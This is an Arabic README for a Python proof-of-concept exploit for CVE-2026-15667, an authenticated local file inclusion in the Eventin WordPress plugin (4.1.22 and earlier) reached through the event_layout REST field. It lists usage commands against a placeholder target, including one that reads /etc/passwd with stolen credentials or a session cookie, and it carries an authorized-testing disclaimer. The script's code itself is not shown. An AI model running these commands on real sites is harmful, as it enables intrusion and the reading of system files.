
إثبات مفهوم بلغة Python للثغرة CVE-2026-15667، وهي تضمين ملف محلي مُصادَق عليه في إضافة Eventin الخاصة بـ WordPress عبر حقل REST الخاص بـ event_layout.
CVE-2026-15667 WordPress Event Solution LFI POC
Eventin (إضافة WordPress wp-event-solution) ≤ 4.1.22 — تضمين ملف محلي (LFI) بعد المصادقة (Contributor+) عبر حقل REST event_layout.
للاختبار المصرّح به فقط. لا تشغّل هذا ضد أنظمة لا تملكها أو لا تملك إذنًا باختبارها.
يتطلب: Python 3، المكتبة القياسية فقط.
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --session 'wordpress_logged_in_HASH=...'
| الخيار | ما يفعله |
|---|
-u / --url | جذر موقع WordPress (مطلوب). http:// أو https://؛ يُجرَّب اسم المضيف عبر HTTPS أولًا، ثم HTTP. تُعاد محاولة TLS ذاتي التوقيع تلقائيًا. |
--test | زائر: إصدار الإضافة + مسار REST. مع المصادقة: إرسال POST باجتياز مسار والإبلاغ إذا تم تخزينه |
--file PATH | تضمين PATH عبر LFI وطباعة المخرجات. يتطلب مصادقة |
--uname | اسم مستخدم WordPress (Contributor+) |
--password | كلمة مرور WordPress |
--session | ترويسة Cookie الخاصة بالمتصفح (أو wordpress_logged_in_*=...). تتخطى /wp-login.php |
--uname/--password و --session قابلان للتبادل. تحتاج إلى زوج واحد أو الكوكي من أجل --file ومن أجل النصف المُصادَق عليه من --test.
--test بدون بيانات اعتماد يكون غير مُصادَق عليه (readme + /wp-json/eventin/v2/events). أما التضمين نفسه فليس كذلك.
تضمّن الإضافة {layout}.php، لذا فإن --file /etc/passwd يطلب /etc/passwd.php. مرّر مسارًا ينتهي بـ .php، أو مسارًا موجودًا بعد إلحاق .php.
Stdout: VERSION، ROUTE، PRESENT، NEED_AUTH، VULNERABLE، NOT_VULNERABLE، AUTH_FAILED، محتويات الملف.
CVE: CVE-2026-15667. تم الإبلاغ عنه بواسطة Wordfence PRISM.